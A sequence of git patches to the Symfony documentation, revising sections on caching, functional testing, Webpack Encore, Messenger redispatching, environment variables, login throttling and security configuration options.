     provider then a service is automatically created.
 
+.. _cache-app-system:
+
 There are two pools that are always enabled by default. They are ``cache.app`` and
 ``cache.system``. The system cache is used for things like annotations, serializer,
 and validation. The ``cache.app`` can be used in your code. You can configure which
@@ -119,6 +121,13 @@ The Cache component comes with a series of adapters pre-configured:
 
     ``cache.adapter.redis_tag_aware`` has been introduced in Symfony 5.2.
 
+.. note::
+
+    There's also a special ``cache.adapter.system`` adapter. It's recommended to
+    use it for the :ref:`system cache <cache-app-system>`. This adapter uses some
+    logic to dynamically select the best possible storage based on your system
+    (either PHP files or APCu).
+
 Some of these adapters could be configured via shortcuts. Using these shortcuts
 will create pools with service IDs that follow the pattern ``cache.[type]``.
 

From b377285d60c5216a3e323d47467c96e4da7d501b Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <math.lechat@gmail.com>
Date: Sat, 26 Aug 2023 11:40:56 +0200
Subject: [PATCH 3788/5766] [Testing] Create a section dedicated to sending
 multiple requests in one functional test

---
 testing.rst | 59 +++++++++++++++++++++++++++++++++++++++++++++--------
 1 file changed, 51 insertions(+), 8 deletions(-)

diff --git a/testing.rst b/testing.rst
index 7cb5f906046..cdc03bc98cc 100644
--- a/testing.rst
+++ b/testing.rst
@@ -619,15 +619,58 @@ This allows you to create all types of requests you can think of:
     :ref:`framework.test <reference-framework-test>` option is enabled).
     This means you can override the service entirely if you need to.
 
-.. caution::
+Multiple Requests in One Test
+.............................
+
+After you send one request, subsequent ones will make the client reboot
+the kernel, recreating the container from scratch.
+This ensures that requests are "isolated" using "new" service objects.
+However, this can cause some unexpected behaviors. For example, the
+security token will be cleared, Doctrine entities will be "detached"…
+
+Calling the client's
+:method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot`
+method is the first step to work around this, as this will reset the kernel
+instead of rebooting it. Now, resetting the kernel will call the ``reset()``
+method of every ``kernel.reset`` tagged service, which will **also** clear
+the security token, detach entities and so on.
+
+As such, the next step is to create a
+:doc:`compiler pass </service_container/compiler_passes>` to remove the
+``kernel.reset`` tag from these services in your test environment::
+
+    // src/Kernel.php
+    namespace App;
+
+    use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+
+    class Kernel extends BaseKernel
+    {
+        use MicroKernelTrait;
+
+        // …
 
-    Before each request, the client reboots the kernel, recreating
-    the container from scratch.
-    This ensures that every requests are "isolated" using "new" service objects.
-    Also, it means that entities loaded by Doctrine repositories will
-    be "detached", so they will need to be refreshed by the manager or
-    queried again from a repository.
-    You can disable this behavior by calling the :method:`disableReboot() <Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot>` method.
+        protected function build(ContainerBuilder $container): void
+        {
+            if ('test' === $this->environment) {
+                $container->addCompilerPass(new class() implements CompilerPassInterface {
+                    public function process(ContainerBuilder $container): void
+                    {
+                        // prevents the security token to be cleared
+                        $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
+
+                        // prevents entities to be detached
+                        $container->getDefinition('doctrine')->clearTag('kernel.reset');
+
+                        // …
+                    }
+                });
+            }
+        }
+    }
 
 Browsing the Site
 .................

From ef78cf19ff3b246a6c2d597b3fea4b18d39aef25 Mon Sep 17 00:00:00 2001
From: Gilles Gauthier <ggauthier@spiriit.com>
Date: Fri, 8 Sep 2023 10:53:11 +0200
Subject: [PATCH 3789/5766] webpack encore reset entrypointlookup

---
 frontend/encore/advanced-config.rst | 59 +++++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index cfe50ee1658..ec37aca0680 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -148,6 +148,65 @@ functions to specify which build to use:
     {{ encore_entry_script_tags('mobile', null, 'secondConfig') }}
     {{ encore_entry_link_tags('mobile', null, 'secondConfig') }}
 
+Avoid missing CSS when render multiples html
+--------------------------------------------
+
+When you need to generate two templates in the same request, such as two emails, you should call the reset method on
+the ``EntrypointLookupInterface`` interface.
+
+To do this, inject the ``EntrypointLookupInterface`` interface
+
+.. code-block:: php
+
+    public function __construct(EntrypointLookupInterface $entryPointLookup) {}
+
+    public function send() {
+        $this->twig->render($emailOne);
+        $this->entryPointLookup->reset();
+        $this->render($emailTwo);
+    }
+
+If you are using multiple webpack configurations, for example, one for the admin and one for emails, you will need to
+inject the correct ``EntrypointLookupInterface`` service. To achieve this, you should search for the service
+using the following command:
+
+.. code-block:: terminal
+
+    # if you are using symfony CLI
+    $ symfony console debug:container entrypoint_lookup
+
+    # You will see a result similar to this:
+    Select one of the following services to display its information:
+    [0] webpack_encore.entrypoint_lookup_collection
+    [1] webpack_encore.entrypoint_lookup.cache_warmer
+    [2] webpack_encore.entrypoint_lookup[_default]
+    [3] webpack_encore.entrypoint_lookup[admin]
+    [4] webpack_encore.entrypoint_lookup[email]
+
+The service we are interested in is ``webpack_encore.entrypoint_lookup[email]``.
+
+To inject this service into your class, we will use the bind method:
+
+.. code-block:: yaml
+
+    services:
+        _defaults
+            bind:
+                Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface $entryPointLookupEmail: '@webpack_encore.entrypoint_lookup[email]'
+
+
+Now you can inject your service into your class:
+
+.. code-block:: php
+
+    public function __construct(EntrypointLookupInterface $entryPointLookupEmail) {}
+
+    public function send() {
+        $this->twig->render($emailOne);
+        $this->entryPointLookupEmail->reset();
+        $this->render($emailTwo);
+    }
+
 Generating a Webpack Configuration Object without using the Command-Line Interface
 ----------------------------------------------------------------------------------
 

From 5eac02f6f3e57c8a25baec9435f46d2d7e1b1c82 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Sep 2023 13:30:50 +0200
Subject: [PATCH 3790/5766] [Messenger] Reword note about Enqueue

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index d129d0f13e2..1e8325d8aed 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -124,7 +124,8 @@ is capable of sending messages (e.g. to a queueing system) and then
 .. note::
 
     If you want to use a transport that's not supported, check out the
-    `Enqueue's transport`_, which supports things like Kafka and Google Pub/Sub.
+    `Enqueue's transport`_, which backs services like Kafka and Google
+    Pub/Sub.
 
 A transport is registered using a "DSN". Thanks to Messenger's Flex recipe, your
 ``.env`` file already has a few examples.

From 55d687ea5870ed80d3267d2185e29c5d1b5b6400 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Sep 2023 13:47:04 +0200
Subject: [PATCH 3791/5766] [Messenger] Mention `RedispatchMessage` and
 `RedispatchMessageHandler`

---
 messenger.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 15d2e711af0..702b35a5f56 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2605,6 +2605,54 @@ Messenger gives you a single message bus service by default. But, you can config
 as many as you want, creating "command", "query" or "event" buses and controlling
 their middleware. See :doc:`/messenger/multiple_buses`.
 
+Redispatching a Message
+-----------------------
+
+It may occur that you dispatch a message and for some reason, wants to
+redispatch it through the same transport with the same envelope. To do so, you
+can create a new
+:class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
+it through your bus. Let's do this with the ``SmsNotification`` seen earlier::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\SmsNotification;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Message\RedispatchMessage;
+
+    #[AsMessageHandler]
+    class SmsNotificationHandler
+    {
+        public function __construct(private MessageBusInterface $bus)
+        {
+        }
+
+        public function __invoke(SmsNotification $message): void
+        {
+            // do something with the message
+            // then redispatch it based on your own logic
+
+            if ($needsRedispatch) {
+                $this->bus->dispatch(new RedispatchMessage($message));
+            }
+        }
+    }
+
+The built-in
+:class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler` will
+take care of this message and redispatch it through the same bus it's been
+dispatched at first. You can also use the second argument of the
+``RedispatchMessage`` constructor to provide transports to use when
+redispatching the message.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`
+    and :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+    classes were introduced in Symfony 6.3.
+
 Learn more
 ----------
 

From eab31f0b0f28b8612d47e5586c3c110f7888bb4a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Sep 2023 13:13:24 +0200
Subject: [PATCH 3792/5766] [Configuration] Emphasize env vars purpose

---
 configuration.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index f201fab29fb..75663f992d9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -599,6 +599,15 @@ The values of these options are resolved at runtime (only once per request, to
 not impact performance) so you can change the application behavior without having
 to clear the cache.
 
+.. note::
+
+    Environment variables are designed to store information that can
+    dynamically change in a production environment, such as an API
+    key that may have an expiration date. This information could be updated
+    without having to redeploy the application. Thus, not everything is a good
+    candidate for env vars, and
+    :ref:`parameters <configuration-parameters>` should be used in other cases.
+
 This example shows how you could configure the application secret using an env var:
 
 .. configuration-block::

From 827617f7ecb7bfb5ddb591b54d3c250047e2d6ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Sep 2023 16:46:10 +0200
Subject: [PATCH 3793/5766] Tweak

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 51903e9e207..c33e8e51f0d 100644
--- a/security.rst
+++ b/security.rst
@@ -445,7 +445,7 @@ the database::
 .. note::
 
     If your user class is a Doctrine entity and you hash user passwords, the
-    repository class related to the user class must implement the
+    Doctrine repository class related to the user class must implement the
     :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`.
 
 .. tip::

From d8d3c2499c6645c2a4625cff7aec6df351363a06 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 17:38:57 +0200
Subject: [PATCH 3794/5766] [Translation] Update the contents about Doctrine
 entity translation

---
 translation.rst | 26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/translation.rst b/translation.rst
index 402790b2026..9f90ae3f06a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -562,16 +562,22 @@ if you're generating translations with specialized programs or teams.
                 ;
             };
 
-.. note::
-
-    You can also store translations in a database; it can be handled by
-    Doctrine through the `Translatable Extension`_ or the `Translatable Behavior`_
-    (PHP 5.4+). For more information, see the documentation for these libraries.
-
-    For any other storage, you need to provide a custom class implementing the
-    :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
-    interface. See the :ref:`dic-tags-translation-loader` tag for more
-    information.
+Translations of Doctrine Entities
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Unlike the contents of templates, it's not practical to translate the contents
+stored in Doctrine Entities using translation catalogs. Instead, use the
+Doctrine `Translatable Extension`_ or the `Translatable Behavior`_. For more
+information, see the documentation for these libraries.
+
+Custom Translation Resources
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your translations use a format not supported by Symfony or you store them
+in not using Doctrine entities, you need to provide a custom class implementing
+the :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
+interface. See the :ref:`dic-tags-translation-loader` tag for more
+information.
 
 .. _translation-providers:
 

From 403b41c9dd4e24e4d72eb545feee938fecffe3f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Sep 2023 16:53:17 +0200
Subject: [PATCH 3795/5766] Tweaks

---
 translation.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/translation.rst b/translation.rst
index 9f90ae3f06a..8166aa595de 100644
--- a/translation.rst
+++ b/translation.rst
@@ -568,16 +568,15 @@ Translations of Doctrine Entities
 Unlike the contents of templates, it's not practical to translate the contents
 stored in Doctrine Entities using translation catalogs. Instead, use the
 Doctrine `Translatable Extension`_ or the `Translatable Behavior`_. For more
-information, see the documentation for these libraries.
+information, read the documentation of those libraries.
 
 Custom Translation Resources
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If your translations use a format not supported by Symfony or you store them
-in not using Doctrine entities, you need to provide a custom class implementing
-the :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
-interface. See the :ref:`dic-tags-translation-loader` tag for more
-information.
+in a special way (e.g. not using files or Doctrine entities), you need to provide
+a custom class implementing the :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
+interface. See the :ref:`dic-tags-translation-loader` tag for more information.
 
 .. _translation-providers:
 

From 585b8a3ce36d5a4b3419144e7c7f09e76da70afb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Sep 2023 09:28:15 +0200
Subject: [PATCH 3796/5766] [Mailer] Mention that emails are async when using
 Messenger

---
 mailer.rst    | 9 ++++++---
 messenger.rst | 2 ++
 2 files changed, 8 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 6fe753ae44c..844b2d8f760 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -398,9 +398,12 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         }
     }
 
-That's it! The message will be sent via the transport you configured. If the
-transport is configured to :ref:`send emails asynchronously <mailer-sending-messages-async>`,
-the message won't be actually sent until :doc:`a worker consumes it <messenger-worker>`.
+That's it! The message will be sent immediately via the transport you configured.
+If you prefer to send emails asynchronously to improve performance, read the
+:ref:`Sending Messages Async <mailer-sending-messages-async>` section. Also, if
+your application has the :doc:`Messenger component </messenger>` installed, all
+emails will be sent asynchronously by default
+(but :ref:`you can change that <messenger-handling-messages-synchronously>`).
 
 Email Addresses
 ~~~~~~~~~~~~~~~
diff --git a/messenger.rst b/messenger.rst
index d129d0f13e2..dc2a11a0acd 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -391,6 +391,8 @@ Then, in your handler, you can query for a fresh object::
 
 This guarantees the entity contains fresh data.
 
+.. _messenger-handling-messages-synchronously:
+
 Handling Messages Synchronously
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From be86778b2accc0437ab856d47cadde3caf4ed815 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 08:48:47 +0200
Subject: [PATCH 3797/5766] [AssetMapper] Allow passing a list of packages to
 importmap:update

---
 frontend/asset_mapper.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d26bb68de39..f773bd8013d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -248,12 +248,16 @@ computers if some files are missing.
     such as ``@popperjs/core``. The ``download`` option will download both the main
     package *and* its dependencies.
 
-To update all 3rd party packages in your ``importmap.php`` file, run:
+To update third-party packages in your ``importmap.php`` file, run:
 
 .. code-block:: terminal
 
+    # updates all packages
     $ php bin/console importmap:update
 
+    # updates only the given list of packages
+    $ php bin/console importmap:update bootstrap lodash
+
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3143b334810c42f44033351d75c3b679c20a82a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 09:35:06 +0200
Subject: [PATCH 3798/5766] Reword

---
 testing.rst | 35 ++++++++++++++++-------------------
 1 file changed, 16 insertions(+), 19 deletions(-)

diff --git a/testing.rst b/testing.rst
index cdc03bc98cc..f3041fcaac9 100644
--- a/testing.rst
+++ b/testing.rst
@@ -622,22 +622,19 @@ This allows you to create all types of requests you can think of:
 Multiple Requests in One Test
 .............................
 
-After you send one request, subsequent ones will make the client reboot
-the kernel, recreating the container from scratch.
-This ensures that requests are "isolated" using "new" service objects.
-However, this can cause some unexpected behaviors. For example, the
-security token will be cleared, Doctrine entities will be "detached"…
-
-Calling the client's
-:method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot`
-method is the first step to work around this, as this will reset the kernel
-instead of rebooting it. Now, resetting the kernel will call the ``reset()``
-method of every ``kernel.reset`` tagged service, which will **also** clear
-the security token, detach entities and so on.
-
-As such, the next step is to create a
-:doc:`compiler pass </service_container/compiler_passes>` to remove the
-``kernel.reset`` tag from these services in your test environment::
+After making a request, subsequent requests will make the client reboot the kernel.
+This recreates the container from scratch to ensures that requests are isolated
+and use new service objects each time. This behavior can have some unexpected
+consequences: for example, the security token will be cleared, Doctrine entities
+will be detached, etc.
+
+First, you can call the client's :method:`Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::disableReboot`
+method to reset the kernel instead of rebooting it. In practice, Symfony
+will call the ``reset()`` method of every service tagged with ``kernel.reset``.
+However, this will **also** clear the security token, detach Doctrine entities, etc.
+
+In order to solve this issue, create a :doc:`compiler pass </service_container/compiler_passes>`
+to remove the ``kernel.reset`` tag from some services in your test environment::
 
     // src/Kernel.php
     namespace App;
@@ -651,7 +648,7 @@ As such, the next step is to create a
     {
         use MicroKernelTrait;
 
-        // …
+        // ...
 
         protected function build(ContainerBuilder $container): void
         {
@@ -662,10 +659,10 @@ As such, the next step is to create a
                         // prevents the security token to be cleared
                         $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
 
-                        // prevents entities to be detached
+                        // prevents Doctrine entities to be detached
                         $container->getDefinition('doctrine')->clearTag('kernel.reset');
 
-                        // …
+                        // ...
                     }
                 });
             }

From 149876b60ef3ed6c5a3418d0c93538a978b20314 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 09:58:10 +0200
Subject: [PATCH 3799/5766] Reword

---
 configuration.rst | 22 +++++++++-------------
 1 file changed, 9 insertions(+), 13 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 75663f992d9..70dd76bca27 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -589,25 +589,21 @@ different scenarios: staging, quality assurance, client review, etc.)
 Configuration Based on Environment Variables
 --------------------------------------------
 
-Using `environment variables`_ (or "env vars" for short) is a common practice to
-configure options that depend on where the application is run (e.g. the database
-credentials are usually different in production versus your local machine). If
-the values are sensitive, you can even :doc:`encrypt them as secrets </configuration/secrets>`.
+Using `environment variables`_ (or "env vars" for short) is a common practice to:
+
+* Configure options that depend on where the application is run (e.g. the database
+  credentials are usually different in production versus your local machine);
+* Configure options that can change dynamically in a production environment (e.g.
+  to update the value of an expired API key without having to redeploy the entire
+  application).
+
+In other cases, it's recommended to keep using :ref:`configuration parameters <configuration-parameters>`.
 
 Use the special syntax ``%env(ENV_VAR_NAME)%`` to reference environment variables.
 The values of these options are resolved at runtime (only once per request, to
 not impact performance) so you can change the application behavior without having
 to clear the cache.
 
-.. note::
-
-    Environment variables are designed to store information that can
-    dynamically change in a production environment, such as an API
-    key that may have an expiration date. This information could be updated
-    without having to redeploy the application. Thus, not everything is a good
-    candidate for env vars, and
-    :ref:`parameters <configuration-parameters>` should be used in other cases.
-
 This example shows how you could configure the application secret using an env var:
 
 .. configuration-block::

From 2aff8d9f52782ed83adbbe581d73a356aa54034c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 11 Sep 2023 10:09:31 +0200
Subject: [PATCH 3800/5766] [Security] Add RateLimiter requirement command

---
 security.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security.rst b/security.rst
index c03bb108625..da54b527c89 100644
--- a/security.rst
+++ b/security.rst
@@ -1456,6 +1456,13 @@ Internally, Symfony uses the :doc:`Rate Limiter component </rate_limiter>`
 which by default uses Symfony's cache to store the previous login attempts.
 However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
 
+In order to work, the Rate Limiter component must be installed in your
+application by running the following command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/rate-limiter
+
 Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an

From 2cbbb396db8851416b6d580c2f413892293004bd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 16:18:47 +0200
Subject: [PATCH 3801/5766] Tweak

---
 security.rst | 23 +++++++++++------------
 1 file changed, 11 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index da54b527c89..8593f720f7f 100644
--- a/security.rst
+++ b/security.rst
@@ -1367,8 +1367,15 @@ Limiting Login Attempts
 
     Login throttling was introduced in Symfony 5.2.
 
-Symfony provides basic protection against `brute force login attacks`_.
-You must enable this using the ``login_throttling`` setting:
+Symfony provides basic protection against `brute force login attacks`_ thanks to
+the :doc:`Rate Limiter component </rate_limiter>`. If you haven't used this
+component in your application yet, install it before using this feature:
+
+.. code-block:: terminal
+
+    $ composer require symfony/rate-limiter
+
+Then, enable this feature using the ``login_throttling`` setting:
 
 .. configuration-block::
 
@@ -1452,16 +1459,8 @@ You must enable this using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
-Internally, Symfony uses the :doc:`Rate Limiter component </rate_limiter>`
-which by default uses Symfony's cache to store the previous login attempts.
-However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
-
-In order to work, the Rate Limiter component must be installed in your
-application by running the following command:
-
-.. code-block:: terminal
-
-    $ composer require symfony/rate-limiter
+The Rate Limiter component uses by default the Symfony cache to store the previous
+login attempts. However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
 
 Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``

From d5e83b16ba8d34309cfb3976453d8fb7c0765afb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 17:58:56 +0200
Subject: [PATCH 3802/5766] Tweak

---
 messenger.rst | 18 +++++++-----------
 1 file changed, 7 insertions(+), 11 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0b0135e218c..550fe3b2f43 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2741,11 +2741,9 @@ their middleware. See :doc:`/messenger/multiple_buses`.
 Redispatching a Message
 -----------------------
 
-It may occur that you dispatch a message and for some reason, wants to
-redispatch it through the same transport with the same envelope. To do so, you
-can create a new
-:class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
-it through your bus. Let's do this with the ``SmsNotification`` seen earlier::
+It you want to redispatch a message (using the same transport and envelope), create
+a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
+it through your bus. Reusing the same ``SmsNotification`` example shown earlier::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -2773,12 +2771,10 @@ it through your bus. Let's do this with the ``SmsNotification`` seen earlier::
         }
     }
 
-The built-in
-:class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler` will
-take care of this message and redispatch it through the same bus it's been
-dispatched at first. You can also use the second argument of the
-``RedispatchMessage`` constructor to provide transports to use when
-redispatching the message.
+The built-in :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+will take care of this message to redispatch it through the same bus it was
+dispatched at first. You can also use the second argument of the ``RedispatchMessage``
+constructor to provide transports to use when redispatching the message.
 
 .. versionadded:: 6.3
 

From d1839162f9cacf368369fad97796f7245266441e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Sep 2023 17:59:46 +0200
Subject: [PATCH 3803/5766] Add a section about redispatching messages

---
 messenger.rst | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index f216cb88e59..138447daf5a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2608,6 +2608,50 @@ Messenger gives you a single message bus service by default. But, you can config
 as many as you want, creating "command", "query" or "event" buses and controlling
 their middleware. See :doc:`/messenger/multiple_buses`.
 
+Redispatching a Message
+-----------------------
+
+It you want to redispatch a message (using the same transport and envelope), create
+a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
+it through your bus. Reusing the same ``SmsNotification`` example shown earlier::
+
+    // src/MessageHandler/SmsNotificationHandler.php
+    namespace App\MessageHandler;
+
+    use App\Message\SmsNotification;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Messenger\Message\RedispatchMessage;
+
+    #[AsMessageHandler]
+    class SmsNotificationHandler
+    {
+        public function __construct(private MessageBusInterface $bus)
+        {
+        }
+
+        public function __invoke(SmsNotification $message): void
+        {
+            // do something with the message
+            // then redispatch it based on your own logic
+
+            if ($needsRedispatch) {
+                $this->bus->dispatch(new RedispatchMessage($message));
+            }
+        }
+    }
+
+The built-in :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+will take care of this message to redispatch it through the same bus it was
+dispatched at first. You can also use the second argument of the ``RedispatchMessage``
+constructor to provide transports to use when redispatching the message.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`
+    and :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
+    classes were introduced in Symfony 6.3.
+
 Learn more
 ----------
 

From 106ffe027b0d02cb32c1e80f43ef7816055dc340 Mon Sep 17 00:00:00 2001
From: Emanuele Panzeri <thepanz@gmail.com>
Date: Tue, 12 Sep 2023 11:53:03 +0200
Subject: [PATCH 3804/5766] Correct dotenv:dump command reference from dump-env

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 586a7abaf43..76c21a25c42 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -877,7 +877,7 @@ get the environment variables and will not spend time parsing the ``.env`` files
 
 .. tip::
 
-    Update your deployment tools/workflow to run the ``dump-env`` command after
+    Update your deployment tools/workflow to run the ``dotenv:dump`` command after
     each deploy to improve the application performance.
 
 .. _configuration-secrets:

From 3a4b6bac0cda0f9d1688ae7ec5b59d3649e104b9 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent@morselli.fr>
Date: Tue, 12 Sep 2023 12:58:17 +0200
Subject: [PATCH 3805/5766] Fix title level

---
 reference/configuration/security.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 55ce42d8625..a3f2b04346e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -351,7 +351,7 @@ redirected to the ``default_target_path`` to avoid a redirection loop.
 **Options Related to Logout Configuration**
 
 delete_cookies
-~~~~~~~~~~~~~~
+..............
 
 **type**: ``array`` **default**: ``[]``
 
@@ -425,8 +425,9 @@ user logs out::
             ],
         ]);
 
+
 clear_site_data
-~~~~~~~~~~~~~~~
+...............
 
 **type**: ``array`` **default**: ``[]``
 
@@ -498,7 +499,7 @@ It's also possible to use ``*`` as a wildcard for all directives:
     The ``clear_site_data`` option was introduced in Symfony 6.3.
 
 invalidate_session
-~~~~~~~~~~~~~~~~~~
+..................
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -511,14 +512,14 @@ option to ``false`` in every firewall and the user will only be logged out from
 the current firewall and not the other ones.
 
 ``path``
-~~~~~~~~
+........
 
 **type**: ``string`` **default**: ``/logout``
 
 The path which triggers logout. You need to set up a route with a matching path.
 
 target
-~~~~~~
+......
 
 **type**: ``string`` **default**: ``/``
 
@@ -529,7 +530,7 @@ redirect after logout.
 .. _reference-security-logout-csrf:
 
 enable_csrf
-~~~~~~~~~~~
+...........
 
 **type**: ``boolean`` **default**: ``null``
 
@@ -542,14 +543,14 @@ option if you need to use a custom CSRF token manager.
     The ``enable_csrf`` option was introduced in Symfony 6.2.
 
 csrf_parameter
-~~~~~~~~~~~~~~
+..............
 
 **type**: ``string`` **default**: ``'_csrf_token'``
 
 The name of the parameter that stores the CSRF token value.
 
 csrf_token_manager
-~~~~~~~~~~~~~~~~~~
+..................
 
 **type**: ``string`` **default**: ``null``
 

From 1881480ea5613822b632709b8a4db7c63fce9964 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 13 Sep 2023 14:30:52 +0200
Subject: [PATCH 3806/5766] [Validator] Add `is_valid()` expression

---
 reference/constraints/Expression.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 593aa4b8ba7..877b45c4004 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -244,6 +244,14 @@ in your expression:
 * ``value``: The value of the property being validated (only available when
   the constraint is applied directly to a property);
 
+You also have access to the ``is_valid()`` function in your expression. It
+allows to check that the data passed to function doesn't raise any
+validation violation.
+
+.. versionadded:: 6.4
+
+    The ``is_valid()`` expression function was introduced in Symfony 6.4.
+
